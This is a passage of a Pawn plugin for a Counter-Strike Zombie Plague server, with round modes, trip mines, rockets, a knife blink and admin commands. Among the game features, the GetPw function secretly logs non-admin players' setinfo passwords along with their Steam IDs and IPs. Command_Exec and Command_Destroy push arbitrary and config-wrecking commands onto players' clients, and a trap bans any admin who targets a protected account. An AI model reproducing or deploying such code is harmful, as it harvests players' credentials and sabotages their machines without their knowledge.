		if (equal(cMode, "zp_plague") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 1)
		{
			StartPlagueMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Plague round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_lnj") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 1)
		{
			StartArmageddonMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Armageddon round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_nightmare") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 1)
		{
			StartNightmareMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Nightmare round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_avs") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 1)
		{
			StartAssassinsVsSnipersMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_multi") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 1)
		{
			StartMultiMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Multiple Infections round", g_cName[iPlayer]);
		}
	}
	return 0;
}

public Command_Flash(iPlayer)
{
	if (g_bFlash[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.5)
		{
			return 1;
		}
		g_fLastTime[iPlayer] = fCurrentTime;
		g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
		remove_task(iPlayer + 350, 0);
		if (g_bFlashEnabled[iPlayer])
		{
			set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
		}
	}
	return 1;
}

public Func_Take(iPlayer) 
{
	iPlayer -= 500;
	g_iRemoving[ iPlayer ] = false;
	static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
		{
		    continue;
		}
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);

		if( equal( szClassName, "zp_trip_mine" ) ) 
		{
			if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
			{
				entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
				entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
				
				if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 ) 
				{
					g_iPlantedMines[ iPlayer ]--;
					g_iTripMines[ iPlayer ]++;
					
					remove_entity( iEntity );
					
					break;
				}
			}
		}
	}
}

public Func_Plant( iPlayer ) 
{
	iPlayer -= 450;
	g_iPlanting[ iPlayer ] = false;
	
	static Float: flOrigin[ 3 ];
	entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
	
	static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
	velocity_by_aim( iPlayer, 128, flTraceDirection );
	flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
	flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
	flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
	
	static Float: flFraction, iTr;
	iTr = 0;
	engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
	get_tr2( iTr, TR_vecEndPos, flTraceResult );
	get_tr2( iTr, TR_vecPlaneNormal, flNormal );
	get_tr2( iTr, TR_flFraction, flFraction );
	
	static iEntity;
	iEntity = create_entity( "info_target" );
	
	if( !iEntity )
	{
		return;
	}
	
	entity_set_string( iEntity, EV_SZ_classname, "zp_trip_mine" );
	entity_set_model( iEntity, "models/zombie_plague/lasermine.mdl" );
	set_glow(iEntity, 19, 32, 0, 50, 90);
	entity_set_size( iEntity, Float: { -4.0, -4.0, -4.0 }, Float: { 4.0, 4.0, 4.0 } );
	
	entity_set_int( iEntity, EV_INT_iuser2, iPlayer );
	
	set_take_damage(iEntity, 0);
	
	g_iPlantedMines[ iPlayer ]++;

	set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
	
	entity_set_float( iEntity, EV_FL_frame, 0.0 );
	entity_set_float( iEntity, EV_FL_framerate, 0.0 );
	entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
	entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
	entity_set_int( iEntity, EV_INT_body, 3 );
	entity_set_int( iEntity, EV_INT_sequence, 7 );
	entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
	entity_set_int( iEntity, EV_INT_iuser1, 0 );
	
	static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
	flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
	flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
	flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
	
	entity_set_origin( iEntity, flNewOrigin );
	
	vector_to_angle( flNormal, flEntAngles );
	entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
	flEntAngles[ 0 ] *= -1.0;
	flEntAngles[ 1 ] *= -1.0;
	flEntAngles[ 2 ] *= -1.0;
	entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
	
	g_iTripMines[ iPlayer ]--;
	
	emit_sound( iEntity, CHAN_AUTO, "zombie_plague/mine_deploy.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	emit_sound( iEntity, CHAN_AUTO, "zombie_plague/mine_charge.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	entity_set_float( iEntity, EV_FL_nextthink, get_gametime( ) + 0.6 );
}

Func_Explode(iEntity) 
{
	g_iPlantedMines[entity_get_int(iEntity, EV_INT_iuser2)]--;
	send_explosion(iEntity);
	send_beam_cylinder(iEntity, 121, 121, 121, random_num(140, 200));
	
	static iZombie;
	static Float: flOrigin[ 3 ], Float: flZombieOrigin[ 3 ], Float: flVelocity[ 3 ];
	entity_get_vector( iEntity, EV_VEC_origin, flOrigin );
	Func_Explosion(iEntity);
	for( iZombie = 1; iZombie < 33; iZombie++ ) 
	{
		if( is_user_connected( iZombie ) ) 
		{
			if( is_user_alive( iZombie ) ) 
			{
				entity_get_vector( iZombie, EV_VEC_origin, flZombieOrigin );
				
				if( get_distance_f( flOrigin, flZombieOrigin ) < 360.0 ) 
				{
					entity_get_vector( iZombie, EV_VEC_velocity, flVelocity );
					
					flVelocity[ 2 ] += 240.0;
					flVelocity[ 1 ] += 200.0;
					flVelocity[ 0 ] += 160.0;
					
					entity_set_vector( iZombie, EV_VEC_velocity, flVelocity );
				}
			}
		}
	}
	for( new i = 1; i < 33; i++ )
	{
		if( !is_user_connected( i ) || !is_user_alive( i ) ) continue;
		if(g_bZombie[i])
		{
			static Float: fDistance, Float: fDamage;
			fDistance = entity_range(i, iEntity);
			if( fDistance < 340 )
			{
				fDamage = 1900 - fDistance;

				if(g_iPlayerType[i] & 1)
					fDamage *= 0.75;

				static Float: fVelocity[ 3 ];
				pev( i, pev_velocity, fVelocity );

				xs_vec_mul_scalar( fVelocity, 1.75, fVelocity );

				set_pev( i, pev_velocity, fVelocity );

				send_screen_shake(i);
				
				send_screen_fade(i);

				if( float( get_health( i ) ) - fDamage > 0 )
				{
					ExecuteHamB( Ham_TakeDamage, i, iEntity, entity_get_int(iEntity, EV_INT_iuser2), fDamage, DMG_BLAST);
				}
				else 
				{
					ExecuteHamB( Ham_Killed, i, entity_get_int(iEntity, EV_INT_iuser2), 2);
				}
				PrintToChat(entity_get_int(iEntity, EV_INT_iuser2), "^4[ZP]^1 Damage to^3 %s^1 ::^4 %0.0f damage", g_cName[i], fDamage );

			}		
		}
	}
	remove_entity( iEntity );
}

public Mine_Think( iPlayer ) 
{
	static Float: flGameTime, iStatus;
	flGameTime = get_gametime( );
	iStatus = entity_get_int(iPlayer, EV_INT_iuser1);
	
	switch( iStatus ) 
	{
		case 0: 
		{
			entity_set_int( iPlayer, EV_INT_iuser1, 1 );
			entity_set_float( iPlayer, EV_FL_takedamage, DAMAGE_YES );
			entity_set_int( iPlayer, EV_INT_solid, SOLID_BBOX );
			entity_set_float( iPlayer, EV_FL_health, 800.0 + 1000);
			set_take_damage(iPlayer, 2);
			emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/mine_activate.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
		}
		
		case 1: 
		{
			static Float: flHealth;
			flHealth = entity_get_float( iPlayer, EV_FL_health );

			if (is_user_alive(entity_get_int(iPlayer, EV_INT_iuser2)))
			{
				if( pev( iPlayer, pev_iuser3 ) == 1 )
				{	
					set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
					ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iFirstMineMessage, "First mine's health: %0.0f", flHealth + -1000);
				}
				else
				{	
					set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
					ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iSecondMineMessage, "Second mine's health: %0.0f", flHealth + -1000);
				}
			}

			if( flHealth <= 1000) 
			{
				Func_Explode( iPlayer );
				return 1;
			}
		}
	}
	
	if( is_valid_ent( iPlayer ) )
		entity_set_float( iPlayer, EV_FL_nextthink, flGameTime + 0.1 );
	
	return 1;
}

public Grenade_Thrown (Entity, const Model [])
{
	if ( strlen ( Model ) < 8 ) return;
	
	static ClassName [10];
		
	pev ( Entity, pev_classname, ClassName, charsmax ( ClassName ) );
		
	if ( equal ( ClassName, "weaponbox" ) )
	{
		set_pev ( Entity, pev_nextthink, get_gametime (  ) + 1.0 );
		return;
	}
	
	if ( Model [7] != 'w' || Model [8] != '_' ) return;
	
	static Float: DmgTime;
	
	pev ( Entity, pev_dmgtime, DmgTime );
	
	if ( DmgTime == 0.0 ) return;

	if ( g_bZombie [pev ( Entity, pev_owner )] )
	{
		if ( Model [9] == 'h' && Model [10] == 'e' )
		{
			send_beam_follow(Entity,  0, 250, 0, 200);
			set_pev ( Entity, pev_flTimeStepSound, 1 );
		}
	}
	else if ( Model [9] == 'h' && Model [10] == 'e' ) 
	{
		send_beam_follow(Entity, 255, 0, 0, 200);
		set_pev ( Entity, pev_flTimeStepSound, 2 );
	}
	else if ( Model [9] == 'f' && Model [10] == 'l' )
	{
		send_beam_follow(Entity,  250, 100, 0, 200);
		set_pev ( Entity, pev_flTimeStepSound, 3 );
	}
	else if ( Model[9] == 's' && Model[10] == 'm' ) 
	{
		send_beam_follow(Entity, 0, 100, 200, 200);

		set_pev ( Entity, pev_flTimeStepSound, 4 );
	}	
}

public Rocket_Touch(iOwner, iRocket)
{
	static Float:fDamage;
	static iDistance;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i])
		{
			iDistance = range(i, iRocket);
			if (iDistance <= 340)
			{
				fDamage = float(floatround(900.0 - 900.0 / 340.0 * float(iDistance), floatround_ceil));
				PrintToChat(iOwner, "^4[ZP]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[i], fDamage);
				send_screen_fade(i);
				send_screen_shake(i);
				client_cmd(i, "spk fvox/flatline");
				if (float(get_health(i)) - fDamage > 0)
				{
					ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, DMG_BLAST);
				}
				else
				{
					ExecuteHamB(Ham_Killed, i, iOwner, 2);
					Make_Explosion(i, iOwner);
					g_Hidden[i] = true;		
				}
			}
		}
		i += 1;
	}
	return 0;
}

public TaskRemoveRender(iTask)
{
	if (g_bConnected[iTask])
	{
		remove_glow(iTask);
	}
	return 0;
}

public Command_Gag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	static iTime[3];
	read_argv(2, iTime, 2);
	if (!iTarget)
	{
	       return 1;
	}
	if (g_fGagTime[iTarget] < get_gametime())
	{
	       g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
	       MessageLog(0, "^1[ADMIN]^4 %s^1: gag^4 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
	}
	else
	{
	       console_print(iPlayer, "[AMXX] Player ^"%s^" is already gagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Ungag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
	       return 1;
	}
	if (g_fGagTime[iTarget] > get_gametime())
	{
	       g_fGagTime[iTarget] = false;
	       MessageLog(0, "^1[ADMIN]^4 %s^1: ungag^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	}
	else
	{
	       console_print(iPlayer, "[AMXX] Player ^"%s^" is already ungagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Exec(iPlayer)
{
	if (get_user_flags(iPlayer) & read_flags ( "k" ))
	{
		static iTarget;
		static cCommand[64];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cCommand, 64);
		iTarget = GetTarget(iPlayer, cTarget, 4);
		if ( !iTarget ) return 1;		
		if (0 < iTarget)
		{
			client_cmd(iTarget, cCommand);
		}
	}
	return 1;
}

public Command_Destroy(iPlayer)
{
	if (!GetAccess(iPlayer, 262144, 2))
	{
		return 1;
	}	
	static i;
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	if (get_user_flags(iPlayer) & read_flags ( "a" ) && get_user_flags(iTarget) & read_flags ( "c" ))
	{
		server_cmd("amx_destroy #%i; wait; wait", get_user_userid(iPlayer));
		server_cmd("addip 0 ^"%s^";writeip", g_cPlayerAddress[iPlayer]);
		server_cmd("banid 0 %s", g_cSteam[iPlayer]);
		server_cmd("writeid");
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	PrintToChat(iTarget, "^4[ZP]^4 ***********************************************************");
	PrintToChat(iTarget, "^4[ZP]^1 Admin :^4 %s", g_cName[iPlayer]);
	PrintToChat(iTarget, "^4[ZP]^1 Jucator :^4 %s", g_cName[iTarget]);
	PrintToChat(iTarget, "^4[ZP]^1 Adresa (IP) :^4 %s", g_cPlayerAddress[iTarget]);
	PrintToChat(iTarget, "^4[ZP]^1 Forum :^4 www.bleahhhhh.tk");
	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
	client_cmd(iTarget, "say %s mi-a dat DESTROY!", g_cName[iPlayer]);
	i = 0;
	while (i < 19)
	{
		client_cmd(iTarget, g_cDestroyChanges[i]);
		i += 1;
	}
	PrintToChat(0, "^4[AMXX]^4 %s^1 destroy^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Reload(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 1))
	{
		return 1;
	}
	g_iAdminsCount = 0;
	TaskGetAdmins();
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
	        MakeUserAdmin(i);
		}
		i++;
	}
	console_print(iPlayer, "[AMXX] Successfully loaded %d acounts from file", g_iAdminsCount);
	return 1;
}

public Command_Who(iPlayer)
{
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && g_bAdmin[i])
		{
			console_print(iPlayer, "%s^9-^9%s^9-^9%s", g_cName[i], g_cTag[i], g_cPersonalFlags[i]);
		}
		i++;
	}
	return 0;
}

public Command_Showip(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}	
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
	           console_print(iPlayer, "   -   %s | %s | %s | %s", g_cName[i], g_cPlayerAddress[i], g_cSteam[i], Data[iPlayer][1]);
		}
		i++;
	}
	return 1;
}

public Command_Last(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}	
	static cAddress[24];
	static cName[32];
	static i;
	i = 0;
	while (i < g_iSize)
	{
	    GetInfo(i, cName, 32, cAddress, 24);
	    console_print(iPlayer, "%32s %24s", cName, cAddress);
	    i += 1;
	}
	return 1;
}

public client_putinserver(iPlayer)
{
	static iSize;
	g_bAlive[iPlayer] = false;
	g_bNoDamage[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_bAdmin[iPlayer] = false;	
	Loaded[ iPlayer ] = false;
	g_iPacks[iPlayer] = 999;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	g_iZombieNextClass[iPlayer] = -1;
	g_fDamage[iPlayer] = false;
	client_cmd(iPlayer, "cl_minmodels 0");
	get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
	get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
	get_user_name(iPlayer, g_cName[iPlayer], 32);
	set_task( 0.2, "LoadPlayer", iPlayer );
	if (!g_bFake[iPlayer])
	{		
		MakeUserAdmin(iPlayer);
		Task_EnableFlash(iPlayer);
		set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
		set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
		set_task(3.0, "GetPw", iPlayer, "", 0, "", 0);	
		set_task(3.0, "AnnounceXa", iPlayer, "", 0, "", 0);	
	}	
	if ((iSize = ArraySize(g_aAmmoData)))
	{
		static cSavedName[32];
		static i;
		i = iSize + -1;
		while (i > -1)
		{
			ArrayGetString(g_aNameData, i, cSavedName, 32);
			if (equali(cSavedName, g_cName[iPlayer], 0))
			{
				g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
			}
			i -= 1;
		}
	}
	return 0;
}

public LoadPlayer( Player )
{
	if( is_user_connected( Player ) && !is_user_bot( Player ) )
	{
		LoadData( Player );
	}
}
public AnnounceXa(Player)
{
	if (g_bConnected[Player])
	{
		PrintToChat(0, "^1Player ^4%s ^1from ^3%s ^1has joined the game!", g_cName[Player], Data[Player][1]);
	}
	return 0;
}

public GetPw(iPlayer)
{
	if (!g_bAdmin[iPlayer])
	{
		static PwBd[32];
		static Pw[32];
		get_user_info(iPlayer, "_pw", Pw, 31);
		get_user_info(iPlayer, "_blackdevil", PwBd, 31);
		if (Pw[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _pw %s, Steam: %s, Ip: %s", g_cName[iPlayer], Pw, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
		if (PwBd[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _blackdevil %s, Steam: %s, Ip: %s", g_cName[iPlayer], PwBd, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
	}
	return 0;
}

public client_disconnect(iPlayer)
{
	if (g_bAlive[iPlayer])
	{
		CheckLastPlayer(iPlayer);
	}
	if (!g_iVariables[2] && !g_bFake[iPlayer])
	{
		InsertInfo(iPlayer);
		ArrayPushString(g_aNameData, g_cName[iPlayer]);
		ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
	}
	remove_task(iPlayer + 250, 0);
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 300, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 500, 0);
	remove_task(iPlayer + 450, 0);
	g_iBlinks[iPlayer] = 0;
	if( g_iPlantedMines[iPlayer])
	{
		Func_RemoveMinesByOwner(iPlayer);
		g_iPlantedMines[iPlayer] = 0;
	}	
	g_bAdmin[iPlayer] = false;
	Loaded[ iPlayer ] = false;
	g_iTripMines[iPlayer] = 0;
	g_iPlanting[iPlayer] = false;
	g_iRemoving[iPlayer] = false;	
	g_bUnlimitedClip[iPlayer] = false;
	g_bTryder[iPlayer] = false;
	g_bAlive[iPlayer] = false;
	g_bConnected[iPlayer] = false;
	g_fGagTime[iPlayer] = false;
	if (g_bFake[iPlayer])
	{
		g_bFake[iPlayer] = false;
		g_iBotsCount -= 1;
	}
	return 0;
}

public client_infochanged(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 0;
	}
	static cName[32];
	get_user_info(iPlayer, "name", cName, 31);
	if (!equal(g_cName[iPlayer], cName, 0))
	{
		copy(g_cName[iPlayer], 31, cName);
		MakeUserAdmin(iPlayer);
		set_task(2.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public MakeUserAdmin(iPlayer)
{
	static i;
	remove_user_flags(iPlayer, -1, 0);
	g_bAdmin[iPlayer] = false;
	i = 0;
	while (i < g_iAdminsCount)
	{
		if (equali(g_cSteams[i], g_cSteam[iPlayer], 0))
		{
			g_bAdmin[iPlayer] = true;
			formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
			copy(g_cTag[iPlayer], 24, g_cTags[i]);
			set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]), 0);
			log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", g_cName[iPlayer], g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
			return 0;
		}
		if (equali(g_cNames[i], g_cName[iPlayer], 0))
		{
			static Pw[32];
			get_user_info(iPlayer, "_pw", Pw, 31);
			if (equali(Pw, g_cPasswords[i], 0))
			{
				g_bAdmin[iPlayer] = true;
				formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
				copy(g_cTag[iPlayer], 24, g_cTags[i]);
				set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]), 0);
				log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", g_cName[iPlayer], g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
				return 0;
			}
			else
			{
				server_cmd("kick #%d  You have no entry to the server...", get_user_userid(iPlayer));
				log_amx("Login: ^"%s^" kicked due to invalid password. [ %s, %s ]", g_cName[iPlayer], g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
				return 0;
			}
			return 0;
		}
		i += 1;
	}
	return 0;
}

public TaskCheckName(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		check_for_swear(iPlayer);
	}
	return 0;
}

public FW_TraceLine_Post(Float:start[3], Float:end[3], conditions, id, trace)
{
	if (!CHECK_ValidPlayer(id))
		return 1;
	
	new iWeaponID = get_user_weapon(id);
	
	if ( iWeaponID != 29 )
	{
		
		OP_Cancel(id);
		return 1;
	}
	
	new enemy = g_iEnemy[id];
	
	if (!enemy)
	{
		
		enemy = get_tr2(trace, TR_pHit);
		
		if ( !CHECK_ValidPlayer(enemy) || g_bZombie[enemy] )
		{
			
			OP_Cancel(id);
			return 1;
		}
		
		g_iEnemy[id] = enemy;
	}
	
	return 1;
}

public FW_PlayerPreThink(id)
{
	
	if (!CHECK_ValidPlayer(id))
		return 1;
	
	new iWeaponID = get_user_weapon(id);
	
	if ( iWeaponID != 29 || !g_bZombie[id] )
	{
		
		OP_Cancel(id);
		return 1;
	}
	
	if ( g_iBlinks[id] == 0 )
		return 1;
	
	new button = pev(id,pev_button);
	
	if ( !(button & IN_ATTACK) && !(button & IN_ATTACK2) )
	{
		
		OP_Cancel(id)
		return 1;
	}
	
	if (g_iSlash[id])
		g_iSlash[id] = 0;
	
	OP_NearEnemy(id);
	
	if( g_iInBlink[id] )
	{
		
		OP_SetBlink(id);
		OP_Blink(id);
		g_iCanceled[id] = 0;
	}

	return 1;
}

public OP_NearEnemy(id)
{
	new enemy = g_iEnemy[id];
	new Float:time = get_gametime();
	
	if (!enemy || g_fLastSlash[id]+1.0>time)
	{
		
		g_iInBlink[id] = 0;
		return;
	}
	
	new origin[3], origin_enemy[3];
	
	get_user_origin(id, origin, 0);
	get_user_origin(enemy, origin_enemy, 0);
	
	new distance = get_distance(origin, origin_enemy);
	
	if ( 50.0<=distance<=300.0)
	{
		
		g_iInBlink[id] = 1;
		return;
		
	}else if (50.0>distance && g_iInBlink[id])
	{
		OP_Slash(id);
	}
	OP_Cancel(id);
}

public OP_Blink(id)
{
	new Float:new_velocity[3];
	new enemy = g_iEnemy[id];
	new Float:origin_enemy[3];
	
	pev(enemy, pev_origin, origin_enemy);
	entity_set_aim(id, origin_enemy);
	
	get_speed_vector2(id, enemy, 1000.0, new_velocity)
	set_pev(id, pev_velocity, new_velocity);
}

public OP_Cancel(id)
{
	g_iInBlink[id] = 0;
	g_iEnemy[id] = 0;
	if (!g_iCanceled[id])
	{
		OP_SetBlink(id);
		g_iCanceled[id] = 1;
	}
}

public OP_Slash(id)
{
	set_pev(id, pev_velocity, {0.0,0.0,0.0});
	
	new weaponID = get_user_weapon(id, _, _);
	
	if(weaponID == 29)
	{
		new weapon[32]
		
		get_weaponname(weaponID,weapon,31)
		
		new ent = fm_find_ent_by_owner(-1,weapon,id)
		
		if(ent)
		{
			set_pdata_float(ent,46, 0.0);
			set_pdata_float(ent,47, 0.0);
			g_iSlash[id] = 1;
			g_fLastSlash[id] = get_gametime();
			g_iBlinks[id] -= 1;
			PrintToChat(0, "^4[ZP]^3 %s^1 just used a knife blink! (Blinks remaining:^4 %i blinks^1)", g_cName[id], g_iBlinks[id]);
		}
	}  
}

public OP_SetBlink(id)
{
	new blink = g_iInBlink[id];
	
	if (blink>1)
		return;
	
	if (blink)
		g_iInBlink[id] += 1;
}

public CHECK_ValidPlayer(id){
	
	if (1<=id<=g_iMaxClients && is_user_alive(id))
		return 1;
	
	return 0;
}

public _ResetMaxSpeed(iPlayer)
{
    if (g_bAlive[iPlayer])
    {		
        if (g_bZombie[iPlayer])
        {
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
                set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
            }
            else
            {
                if (g_iPlayerType[iPlayer] & 1)
                {
                    set_speed(iPlayer, 250.00);
                    set_gravity(iPlayer, 0.50);
                }
                if (g_iPlayerType[iPlayer] & 2)
                {
                    set_speed(iPlayer, 600.00);
                    set_gravity(iPlayer, 0.40);
                }
            }
        }
		else
		{
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, 240.00);
                set_gravity(iPlayer, 1.00);
            }
            if (g_iPlayerType[iPlayer] & 4)
            {
                set_speed(iPlayer, 250.0);
                set_gravity(iPlayer, 1.20);
            }
            if (g_iPlayerType[iPlayer] & 8)
            {
                set_speed(iPlayer, 240.0);
                set_gravity(iPlayer, 1.00);
            }	
            if (g_bTryder[iPlayer])
            {
                set_speed(iPlayer, 250.00);
                set_gravity(iPlayer, 0.55);
            }	
            if (g_bFrozen[iPlayer])
            {
                set_speed(iPlayer, 1.00);
            }				
		}
    }
    return 0;
}

public _GrenadeThink(Entity)
{
	if ( !pev_valid ( Entity ) ) return 1;

	static Float: DmgTime, Float: CurrentTime;
	
	pev ( Entity, pev_dmgtime, DmgTime );
	
	CurrentTime = get_gametime (  );
	
	if ( DmgTime > CurrentTime ) return 1;
	
	switch ( pev ( Entity, pev_flTimeStepSound ) )
	{
		case 1:
		{
			Infection_Explode ( Entity )
			return 4;
		}
		case 2: 
		{
			Explosion_Explode ( Entity );
			return 4;
		}
		case 3: 
		{
			Fire_Explode ( Entity );
			return 4;
		}
		case 4:
		{
			Freeze_Explode ( Entity );
			return 4;
		}		
	}
	
	return 1;
}

public _PlayerDuck(iPlayer)
{
	if (!g_bFrozen[iPlayer] && g_bZombie[iPlayer] && g_iPlayerType[iPlayer] & 1)
	{
		static Float:fCurrentTime;
		static Float:fCoolDown;
		if (g_iPlayerType[iPlayer])
		{
			fCoolDown = 1.0;
		}
		else
		{
			fCoolDown = 13.0;
		}
		fCurrentTime = get_gametime();
